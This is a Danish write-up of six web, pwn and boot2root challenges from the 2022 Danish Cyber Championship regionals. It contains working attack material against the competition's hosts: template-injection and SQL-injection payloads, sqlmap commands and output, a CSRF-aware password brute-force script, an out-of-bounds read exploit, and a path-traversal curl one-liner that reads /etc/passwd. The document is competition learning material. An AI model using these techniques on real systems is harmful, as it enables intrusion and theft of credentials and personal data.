DDC22 Regionals | Write-up collection (Danish)
1. Introduktion
Velkommen til denne write-up samling for de opgaver jeg klarede til den regionale del af De Danske Cybermesterskaber 2022.
Jeg skriver denne post på dansk, da jeg følte det var passende givet det er en dansk konkurrence.
Jeg klarede 6 opgaver i alt i den regionale del af konkurrencen, og fik med 800 point kvalificeret mig til finalen den 9. maj.
2. Secret Squirrels Telekinetic Injector web
Antal point: 50
Beskrivelse:
De hemmelige egern er på farten igen med deres nødder og telekinetiske evner. Se om du kan finde deres hemmelige config key til deres hjemmeside ssti.hkn
I denne opgave bliver vi mødt af følgende velkomst side:
Hvor vi har mulighed for at opgive en email adresse for at abonnere på et nyhedsbrev omhandlende nogle nødder :^ )
Det som vi skriver bliver ikke valideret, men bliver direkte reflekteret tilbage i vores response:
Opgaven hinter til et specielt angreb kaldet Server Side Template Injection, der forkortet bliver til SSTI. Som næsten ikke er til at falde over på velkomst siden ;)
Hvis vi kigger på wappalyzer browser udvidelsen, kan vi se at siden køre flask
i baggrunden:
Flask bruger en template engine kaldet jinja, til at indsætte værdier i skabeloner for at kunne personliggøre indhold.
For eksempel vise en email adresse der er sendt afsted til et nyhedsbrev.
Vi kan teste om bruger inputtet bliver ordentligt saniteret inden at det bliver sat ind i skabelonen ved at sende følgende streng afsted:
{{7*7}}
Som vi kan se i responsen får vi altså resultatet tilbage!
Siden er altså sårbar overfor SSTI!
Beskrivelsen nævner en hemmelig config key, og i flask er der et object kaldet config
tilgængelig under behandling af requests.
Hvis vi istedet bruger payloaded {{config}}
istedet for {{7*7}}
så skulle vi gerne blive mødt af nogle hemmeligheder!
Og der har vi jo flaget: DDC{SSTI_1n_fl45k_15_wh3r3_7h3_squ1rr3l_h1d3_7h3_nutz}
3. Baking Cookies web
Antal point: 50
Beskrivelse:
Jeg har opdateret min hjemmeside til styring af kontakter og har nu fået lukket sikkerhedshullet i vCard-systemet. Jeg er dog stadig lidt bekymret, da jeg gemmer en del personfølsom data i mine systemer, og jeg vil nødig have, at nogen får adgang til andres konti og kontakter. Vil du tjekke den nye udgave for mig? Så giver jeg en cookie! http://contacts-vault.hkn
Besøger vi hjemmesiden linket i opgavens beskrivelse, bliver vi mødt af denne side:
Her er der altså en masse lækker data lige til indsamle, hvis bare vi kan finde fejlen!
Efter at have oprettet en bruger og logget ind, bliver vi mødt af meget tom beholder for kontakter:
Vi kan åbne hamburger menuen og søge efter kontakter, lave nye eller bare se alle kontakter.
Men beskrivelsen af opgaven hintede tile nogle cookies, så det var det første jeg tjekkede ud.
Man kan se de cookies ens browser gemmer under debug tools og storage:
I cookien er der en JSON string hvor vi har et _user_id
sat til værdien 6:
"{\"_user_id\": \"6\"\054 \"_fresh\": true\054 \"_id\": \"a33260853250b0d0d323433e67e53e64f90ec67a81533f05ee8e64e816f281059ffad6ba117cef8c667a742331a27c09491075ab8a91c1aefb057e21c1cc6824\"}"
Hvis systemet bruger et incrementerende bruger ID, vil administrator brugeren med stor sandsynlighed have et ID på 1.
Det virkede! Hvis vi scroller længere ned på siden finder vi flaget:
DDC{f1x_th4t_c00k1e_vuln_0r_cl0se_th3_b4k3ry}
4. Searching Outside the Box web
Antal point: 200
Beskrivelse:
Nu burde alle sikkerhedshullerne på min hjemmeside være lukket, så ingen længere kan se andres kontakter! Er lidt mere tryg nu, jeg har nemlig en super hemmelig kontakt, som ingen må få at se! Den er dog også ekstra beskyttet og kan kun ses direkte fra min admin profil. Jeg har også forbedret søgefunktionen lidt, så man nemmere kan finde sine kontakter. Vil du hjælpe mig med at tjekke nyeste udgave? Det er bare en formalitet, har næsten ikke ændret noget, men det skal jo gøres. Tak! http://contact-vault.hkn
Denne opgave er en fortsættelse på forrige opgave.
Efter at have patchet forrige fejl, skal vi prøve at finde en ny.
Brugerfladen er den samme som før, men kigger vi på vores cookies er den ikke længere så let læselig:
.eJwljjsOAyEMBe9CncIfDGYvszJgK2nZbBXl7kFKM3oavWI-6Yzl1zMd73X7I52vmY5kzFRAhUmgw4TJxJnZS3XZzNHAR6mmKMwB4q7bumIJUgRpETZLN8Q6PHSU_a2ZmNGoDmi5IVSxrtZwoHl0kOq09xhFKacdcl--_jVI6fsDXpwuOQ.YlgREw.OJxo-Kot0pARQLuCN3HPX-aIqNU
En JWT token… den kan vi ikke bare lige bryde…
Til gengæld er der andre funktioner vi kan lege med!
Der er en søge funktion, som bliver hintet til i beskrivelsen.
Så jeg begyndte at lege med inputtet der til.
Søge funktionaliteten er med stor sandsynlighed baseret på SQL, og testede derfor for SQLinjection ved hjælp af følgende søgning:
' OR 1=1 -- -
Her hopper vi ud af strengen i SQL sætningen og siger sandt
Et gæt på hvordan sætningen på backenden vil se ud ville være:
SELECT * FROM 'contacts' WHERE '<bruger input>'
Med sqlinjection payload:
SELECT * FROM 'contacts' WHERE '' OR 1=1 -- -'
Hvor -- -
er for at ud kommentere resten at sætningen.
OG DET VIRKER!!!! næsten…
Vi fik altså ikke alle kontakter ud… for kigger man igennem listen er der desværre ikke noget flag.
Her fra ville man i det virkelige liv manuelt prøve at få et bedre overblik over database type, og teste forskellige SQL teknikker af….
Men det er her var en 10 timers ctf om en chance for at komme på det danske cyberlandshold. No way, har jeg tid eller forstand til at gøre det manuelt…
Heldigvis er der en lille stykke software kaldet sqlmap
.
Men da vi er bag login, kan vi ikke bare sige:
sqlmap -u http://contact-vault.hkn/search?s=asd
Istedet kan vi bruge en fil der indeholder en HTTP request.
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals ] └─> $ cat contact-vault.txt GET /search?s=asdf HTTP/1.1 Host: contact-vault.hkn User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Referer: http://contact-vault.hkn/search?s=%27+asdf Cookie: session=.eJwlzjEOwzAIAMC_eO4ABgPOZyIwtto1aaaqf2-kjrfdp-zrmOezbO_jmo-yv7JsxWs3X62jErhrBObIqERUHXRJr2BBtQ8mFhLq2MRCGluyeaqRTlVya-Qz6lRIAhy3hTkmhXikgcZYhqSDXUakQ-MIMchyR65zHv8NYvn-AJsCLvo.YlG_TQ.ya0WrIF0XfwLmbP8azYSGW9117A Upgrade-Insecure-Requests: 1 Sec-GPC: 1
Denne er samlet op og gemt gennem burp suite.
Og så kan vi give den til sqlmap med flaget -r
for request fil….
Men af en eller anden årsag virkede dette ikke for mig, grundet en bug i sqlmap skulle give den fulde path til filen, og det tog mig lidt for lang tid at indse til konkurrencen… dette kunne dog fikses ved hjælp miljø variable $PWD
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals ] └─> $ sqlmap -r $PWD/contact-vault.txt ___ __H__ ___ ___[)]_____ ___ ___ {1.6.2#stable} |_ -| . [)] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 15:29:51 /2022-04-14/ [15:29:51] [INFO] parsing HTTP request from '/home/c3lphie/hacking/ctf/ddc22/regionals/contact-vault.txt' [15:29:51] [INFO] testing connection to the target URL [15:29:51] [INFO] testing if the target URL content is stable [15:29:52] [INFO] target URL content is stable [15:29:52] [INFO] testing if GET parameter 's' is dynamic [15:29:52] [INFO] GET parameter 's' appears to be dynamic [15:29:52] [WARNING] heuristic (basic) test shows that GET parameter 's' might not be injectable [15:29:52] [INFO] testing for SQL injection on GET parameter 's' [15:29:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [15:29:54] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [15:29:54] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [15:29:54] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [15:29:55] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' [15:29:55] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [15:29:56] [INFO] testing 'Generic inline queries' [15:29:56] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [15:29:56] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [15:29:56] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [15:29:57] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [15:29:57] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [15:29:58] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)' [15:29:58] [INFO] testing 'Oracle AND time-based blind' it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] [15:30:01] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [15:30:01] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [15:30:01] [INFO] target URL appears to have 7 columns in query [15:30:01] [WARNING] applying generic concatenation (CONCAT) injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] [15:30:11] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') [15:30:15] [WARNING] GET parameter 's' does not seem to be injectable [15:30:15] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent' [15:30:15] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 103 times [*] ending @ 15:30:15 /2022-04-14/
Dette virkede heller ikke… på trods af at vi havde bekræftet det selv…
Grunden til dette er at sqlmap, kan hvis det ikke bliver brugt forsigtigt potentielt lave meget skade.
Vi kan sige at vi er ligeglade, og sætte vores level højere og lave et større mængde tests.
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals ] └─> $ sqlmap -r $PWD/contact-vault.txt --level=3 --threads=6 ___ __H__ ___ ___[.]_____ ___ ___ {1.6.2#stable} |_ -| . [)] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 15:30:55 /2022-04-14/ [15:30:55] [INFO] parsing HTTP request from '/home/c3lphie/hacking/ctf/ddc22/regionals/contact-vault.txt' [15:30:55] [INFO] testing connection to the target URL [15:30:56] [INFO] testing if the target URL content is stable [15:30:56] [INFO] target URL content is stable [15:30:56] [INFO] testing if GET parameter 's' is dynamic [15:30:56] [INFO] GET parameter 's' appears to be dynamic [15:30:56] [WARNING] heuristic (basic) test shows that GET parameter 's' might not be injectable [15:30:56] [INFO] testing for SQL injection on GET parameter 's' [15:30:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [15:30:57] [INFO] GET parameter 's' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="102") [15:30:57] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'SQLite' it looks like the back-end DBMS is 'SQLite'. Do you want to skip test payloads specific for other DBMSes? [Y/n] for the remaining tests, do you want to include all tests for 'SQLite' extending provided level (3) and risk (1) values? [Y/n] [15:31:04] [INFO] testing 'Generic inline queries' [15:31:04] [INFO] testing 'SQLite inline queries' [15:31:04] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)' [15:31:04] [WARNING] time-based comparison requires larger statistical model, please wait................ (done) [15:31:05] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)' [15:31:05] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)' [15:31:08] [INFO] GET parameter 's' appears to be 'SQLite > 2.0 AND time-based blind (heavy query)' injectable [15:31:08] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [15:31:08] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [15:31:09] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [15:31:09] [INFO] target URL appears to have 7 columns in query injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] [15:31:48] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') [15:31:49] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns' [15:31:50] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns' [15:31:52] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns' [15:31:54] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns' [15:31:56] [INFO] checking if the injection point on GET parameter 's' is a false positive GET parameter 's' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 211 HTTP(s) requests: --- Parameter: s (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: s=asdf' AND 8771=8771-- rhDS Type: time-based blind Title: SQLite > 2.0 AND time-based blind (heavy query) Payload: s=asdf' AND 4111=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))-- tBKa --- [15:31:59] [INFO] the back-end DBMS is SQLite back-end DBMS: SQLite [15:31:59] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 139 times [15:31:59] [INFO] fetched data logged to text files under '/home/c3lphie/.local/share/sqlmap/output/contact-vault.hkn' [*] ending @ 15:31:59 /2022-04-14/
"I'm in! B)" - 1337 h4ck3r
Det virkede!
Nu skal vi bare finde flaget
Først kan vi finde tabellerne i data basen med:
sqlmap -r $PWD/contact-vault.txt --tables
Hvilket gav os følgende tabeller:
- contacts
- users
- reviews
Her fra kan vi gå igennem de forskellige databaser med:
sqlmap -r $PWD/contact-vault.txt --dump <tabel navn>
Jeg valgte at gå efter kontakterne, og efter et par minutter fik jeg trukket følgende ud fra databasen:
+----+---------+----+----+-----+-----+----------------------------------------------------+------------------------+---------+---------+-----------+------------+------------+ | id | user_id | 20 | 80 | 100 | 200 | email | phone | FOREIGN | PRIMARY | is_secret | last_name | first_name | +----+---------+----+----+-----+-----+----------------------------------------------------+------------------------+---------+---------+-----------+------------+------------+ | 1 | 1 | 20 | 80 | 100 | 200 | DDC{b3tt3r_f1x_th4t_SQLi_vuln_GDPR_4ud1t_1s_cl0s3} | 707.795.7976x4823 | NULL | NULL | 1 | McFlagFace | Flaggy | | 2 | 2 | 20 | 80 | 100 | 200 | scottware@example.net | 387.321.1199x232 | NULL | NULL | 0 | Anderson | Katelyn | | 3 | 3 | 20 | 80 | 100 | 200 | dsmith@example.org | 001-732-875-2279 | NULL | NULL | 0 | Summers | Brendan | | 4 | 5 | 20 | 80 | 100 | 200 | ybrooks@example.net | 001-578-221-0587x640 | NULL | NULL | 0 | Edwards | Alexander | | 5 | 10 | 20 | 80 | 100 | 200 | ecole@example.org | (720)387-6625x98551 | NULL | NULL | 0 | Hammond | Rebecca | | 6 | 5 | 20 | 80 | 100 | 200 | leemelissa@example.org | 001-968-516-0783x1906 | NULL | NULL | 0 | Wright | Nicholas | | 7 | 8 | 20 | 80 | 100 | 200 | floresdarren@example.net | 001-056-694-9924x65994 | NULL | NULL | 0 | Mitchell | Cheryl | | 8 | 7 | 20 | 80 | 100 | 200 | johnsheppard@example.org | 001-175-115-0670x8237 | NULL | NULL | 0 | Gonzalez | Benjamin | | 9 | 3 | 20 | 80 | 100 | 200 | matthew03@example.net | 001-328-332-6948x0714 | NULL | NULL | 0 | Diaz | Tonya | | 10 | 6 | 20 | 80 | 100 | 200 | hwebster@example.net | 302-128-2921x2418 | NULL | NULL | 0 | Knapp | Charles | | 11 | 2 | 20 | 80 | 100 | 200 | kevinjohnson@example.com | 718.484.9614 | NULL | NULL | 0 | Chan | Diana | | 12 | 9 | 20 | 80 | 100 | 200 | gonzalezrachel@example.com | 001-127-324-1188 | NULL | NULL | 0 | Velasquez | John | | 13 | 7 | 20 | 80 | 100 | 200 | hamptondavid@example.net | 7260209982 | NULL | NULL | 0 | Price | James | | 14 | 7 | 20 | 80 | 100 | 200 | erin87@example.org | 622-323-8993x556 | NULL | NULL | 0 | Davila | Bobby | +----+---------+----+----+-----+-----+----------------------------------------------------+------------------------+---------+---------+-----------+------------+------------+
Og vi har også flaget:
DDC{b3tt3r_f1x_th4t_SQLi_vuln_GDPR_4ud1t_1s_cl0s3}
5. Bare request amok web
Antal point: 100
Beskrivelse:
Du skal nok bare sende en masse requests altså bare-request-amok.hkn:5000
Til denne opgave skulle vi bruteforce et login til en hjemmeside, for derefter at navigere hen til et hemmeligt directory.
Besøger vi siden bliver vi mødt med følgende login:
De kære challenge authors, har været så venlige at give os kildekoden til web-appen…(Tæller fedte-point til finalen? jk…)
Grunden til det er fedt er at vi så har mulighed for at teste lokalt indtil det virker uden at belaste serveren!
Vi fik en filen source.zip
udleveret med følgende indhold:
total 1588 -rw-r--r-- 1 c3lphie c3lphie 2985 Apr 9 17:56 app.py -rw-r--r-- 1 c3lphie c3lphie 961 Dec 13 11:29 directory.txt -rw-r--r-- 1 c3lphie c3lphie 7 Dec 13 12:32 flag.txt -rw-r--r-- 1 c3lphie c3lphie 966 Dec 13 11:28 passwords.txt drwxr-xr-x 5 c3lphie c3lphie 4096 Feb 20 17:27 static drwxr-xr-x 2 c3lphie c3lphie 4096 Dec 13 15:46 templates
De to filer, passwords.txt
og directory.txt
kan vi bruge som wordlister til vores bruteforce angreb!
Vi har også et test flag vi kan bruge mens vi test vores angreb!
Kigger vi gennem kildekoden i app.py
, kan vi nemlig hurtigt se at det ikke bare lige er at smide værktøj som hydra
eller wfuzz
efter det.
Der er fire interessante funktioner:
index()
wuhuuuuuuuuu()
login()
page_not_found(error)
Hele applikationen bruger python biblioteket flask
til at håndtere HTTP requests.
Og index funktionen, returnere altså enten index.html
hvor vi kan logge ind, eller admin.html
hvis vi er logget ind.
Der bliver også lavet en CSRF token, til at beskytte mod CSRF angreb.
@app.route("/") def index(): print(AdminPassword) print(hiddendir) if not session.get('logged_in'): return render_template('index.html',csrf_token=newCSRF("index")) else: return render_template("admin.html",csrf_token=newCSRF("admin"))
Nedenfor ses login funktionaliteten, hvor vi kan se at der SKAL bruges en CSRF token.
Heldigvis har vi et hardcoded brugernavn admin
, hvilket skære en del af tid af vores angreb ikke at skulle fine brugernavn heller hehe.
@app.route("/login", methods=(['POST'])) def login(): if request.method == 'POST': username = request.form.get("username") password = request.form.get("password") csrf_token = request.form.get("csrf_token") if username == "admin" and password == AdminPassword and useCSRF(csrf_token,"index"): print("dope") session.clear() session['logged_in'] = True session['username']="admin" return redirect(url_for('index'))
I denne funktion får vi flaget, men kun hvis vi er logget ind.
Der skal også bruges en CSRF token her for at kunne få flaget i sidste ende.
En lille detalje der er vigtig at bide mærke i er funktions kaldet inden vi returnere, session.clear()
som gør at vi skal logge ind igen uanset hvad der sker med vores request.
@app.route("/"+hiddendir, methods=('GET','POST')) def wuhuuuuuuuuu(): print("hidden dir") if request.method == 'POST' and session.get('logged_in'): print("posted hidden dir") csrf_token = request.form.get("csrf_token") print("csrf "+csrf_token) print(CSRFmap) if useCSRF(csrf_token,"admin"): return """<html> <body> <h1>%s</h1> </body> </html> """ % flag session.clear() return redirect(url_for('index'))
En lille hale ved hele den her applikation er at vores session bliver cleared hver gang vi rammer HTTP status koden 404.
Vi skal altså logge ind igen, hvis vi rammer et ikke eksisterende endpoint.
@app.errorhandler(404) def page_not_found(error): session.clear() return redirect(url_for('index'))
Så hvordan løser vi dette?
Jeg brugte python biblioteket BeautifulSoup
til at trække vores CSRF token ud af vores response i get_csrf
funktionen.
Og requests
biblioteket til at håndtere HTTP requests der skulle sendes.
Jeg vil ikke gå i detaljer omkring mit script da det er relativ simpelt at forstå, men vil anbefale at læse det igennem hvis du ikke har erfaring.
Kort beskrevet er angrebet design sådan:
læs passwords fra fil læs hiddendirs fra fil læs index side, gem CSRF token for hvert password i passwordlist login som 'admin' med password og CSRF token gem CSRF token i reponse hvis 'secret path' er i respone gem password gem CSRF token stop login bruteforce for hver folder i hiddendirs login som admin gem CSRF token besøg folder hvis 'DDC' er i response print response stop bruteforce
Køre vi scriptet:
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/request_amok ] └─> $ time python3 solve.py /home/c3lphie/hacking/ctf/ddc22/regionals/request_amok/solve.py:18: GuessedAtParserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("html5lib"). This usually isn't a problem, but if you run this code on another system, or in a different virtual environment, it may use a different parser and behave differently. The code that caused this warning is on line 18 of the file /home/c3lphie/hacking/ctf/ddc22/regionals/request_amok/solve.py. To get rid of this warning, pass the additional argument 'features="html5lib"' to the BeautifulSoup constructor. soup = BeautifulSoup(text) Found admin pass <html> <body> <h1>DDC{scr1pt_d1g_ud_4f_d3t_b4re_r3qu3st_am4k}</h1> </body> </html> python3 solve.py 3.31s user 0.15s system 8% cpu 39.162 total
Får vi flaget DDC{scr1pt_d1g_ud_4f_d3t_b4re_r3qu3st_am4k}
efter omkring 40 sekunder.
import requests from bs4 import BeautifulSoup session = requests.Session() target = "http://bare-request-amok.hkn:5000" passwords = "" hiddendirs = "" with open("passwords.txt","r") as f: passwords = f.read().splitlines() with open("directory.txt","r") as f: hiddendirs = f.read().splitlines() def get_csrf(text): soup = BeautifulSoup(text) inputs = soup.find_all(attrs={"name":"csrf_token"}) return inputs[0]["value"] def brute_login(): res = requests.get(target) csrf = get_csrf(res.text) for x in passwords: res = requests.post(target + "/login", data={"username": "admin", "password": x, "csrf_token":csrf}) csrf = get_csrf(res.text) if "secret path" in res.text: return x, csrf def login_adm(session,admPass, csrf): res = session.get(target) csrf = get_csrf(res.text) res = session.post(target + "/login", data={"username": "admin", "password": admPass, "csrf_token":csrf}) return get_csrf(res.text) def brute_dir(admPass, csrf): session = requests.Session() csrf = login_adm(session,admPass, csrf) for x in hiddendirs: csrf = login_adm(session,admPass, csrf) res = session.post(target + "/" + x, data={"csrf_token":csrf}) #csrf = get_csrf(res.text) if "DDC" in res.text: print(res.text) break adm_pass, csrf = brute_login() print("Found admin pass") brute_dir(adm_pass, csrf)
6. URL Parse pwn
Antal point: 100
Beskrivelse:
På urlParse.hkn 9000, kan du netcat til server og finde et simpelt program, der tager en url som input, som indeholder et brugernavn og en adgangskode, og derefter spytter dem tilbage efter dig. URL’en er af denne form: http://bruger:password@somehost.com Der er også et flag et sted i programmet, du burde kunne få det. Du kan downloade filerne i denne udfordring på her.
I denne opgave fik vi udleveret en binær fil og kildekoden for en urlparser.
Nedenfor ses kildekoden for programmet:
#include <stdio.h> #include <string.h> #include <sys/types.h> #include <unistd.h> int main() { char *field; char *col, *at; char flag[64]; char input[64]; char buf[64]; // read flag FILE *f = fopen("flag.txt", "r"); if(f == NULL){ printf("flag not found: please run this on the server\n"); } fgets(flag, 63, f); // Read user input scanf("%64s", input); // Check url if (strncmp("http://", input, 7) != 0) { printf("Not a URL\n"); return -1; } // Skip http field = strchr(input, '/')+2; // ptr to colon col = strchr(field, ':'); // ptr to at at = strchr(field, '@'); unsigned char pw_size = at-col; unsigned char user_size = col-field; memcpy(buf, flag, strlen(flag)); write(1, field, (pw_size+ user_size)); }
Først åbner den flaget og gemmer det i variablen flag
.
Derefter læser den en streng fra brugeren, og laver et check for at se om urllens protokol er HTTP.
Herefter finder den længderne for brugernavnet og passwordet i urllen.
Hvorefter den skriver urllen til stdout, problemet her er dog at vi styre størrelsen af det den skriver ud.
Dette betyder at vi kan læse dele af hukommelsen ved at læse uden for variablen field
's hukommelses område.
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/urlparse/sourceAndBinary ] └─> $ ./urlParse http://AAAAAAAAAAAAAAAAAA:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@asdfasfd.asdfaf AAAAAAAAAAAAAAAAAA:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDC{TEST_FLAG} ygd{WO%
Prøver vi dette på remote:
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/urlparse/sourceAndBinary ] └─> $ nc urlparse.hkn 9000 http://A:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDC{dsABxVLqOC}5V%@] VU%@ V Vy0f8%@1y%
Så får vi flaget:
DDC{dsABxVLqOC}
7. Mr Beefs Bestilling boot2root
Antal point: 300
Beskrivelse:
hallo kan du lige tjekke mrbeefs bestilling ud på http://mrbeefs-bestilling.hkn ???
Da denne opgave er i kategorien boot2root, så brugte jeg samme tilgang som jeg bruger på maskiner fra hackhebox.
Så jeg startede med at køre nmap
:
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/mr_beefs_bestilling ] └─> $ cat nmap/all_ports.nmap # Nmap 7.92 scan initiated Sat Apr 9 11:10:58 2022 as: nmap -sS -n -Pn -p- -oA nmap/all_ports mrbeefs-bestilling.hkn Nmap scan report for mrbeefs-bestilling.hkn (77.196.35.209) Host is up (0.018s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http # Nmap done at Sat Apr 9 11:11:07 2022 -- 1 IP address (1 host up) scanned in 9.42 seconds
Der er kun en enkelt port åben, så jeg gik direkte igang med at kigge på hjemmesiden gennem en browser!
Og blev mødt af følgende hjemmeside:
Hvis vi klikker på linket, bliver vi ført videre til denne side:
Hvis vi kigger på kildekoden, kan vi se at billedet er base64 encoded direkte i responsen:
Her fra spekulerede jeg på om der måske var en Local File Inclusion fejl i applikationen!
Så istedet for at spørge om mrbeef.png
, så prøvede jeg ../../../../../../etc/passwd
hvorefter jeg decodede indholdet.
For at gøre det så nemt som muligt, lavede jeg denne oneliner:
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/mr_beefs_bestilling ] └─> $ curl 'http://mrbeefs-bestilling.hkn/file.php?file=../../../../../../etc/passwd' -S | cut -d "," -f 2 | cut -d ">" -f 1 | base64 -d % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1324 100 1324 0 0 34974 0 --:--:-- --:--:-- --:--:-- 35783 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin mrbeef:x:1000:1000::/home/mrbeef:/bin/sh
Og der har vi indholdet af passwd
filen.
Dette kunne vi bruge til at skaffe kildekoden for hjemmesiden:
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/mr_beefs_bestilling ] └─> $ curl 'http://mrbeefs-bestilling.hkn/file.php?file=../index.php' -S | cut -d "," -f 2 | cut -d ">" -f 1 | base64 -d % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 360 100 360 0 0 9390 0 --:--:-- --:--:-- --:--:-- 9473 <?php echo("hello <br>"); echo("You can find his order here:<br>"); echo("<a href='./file.php?file=mrbeef.png'> delicious link</a><br><br><br>"); echo("you can also put your own order hehehehehe<br>"); include("./upload.php"); ?>
Great Success!!
Jeg downloadede herefter de andre filer:
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/mr_beefs_bestilling ] └─> $ ls -l php_files total 12 -rw-r--r-- 1 c3lphie c3lphie 166 Apr 9 11:34 file.php -rw-r--r-- 1 c3lphie c3lphie 246 Apr 9 11:35 index.php -rw-r--r-- 1 c3lphie c3lphie 1717 Apr 9 11:34 upload.php
Og begyndte at kigge dem igennem for andre angreb jeg kunne lave!
Filen der vagte størst opmærksomhed var upload.php
, da den potentielt kunne lade mig uploade en PHP reverse shell.
Der var en klasse kaldet fileuploadedbackup
:
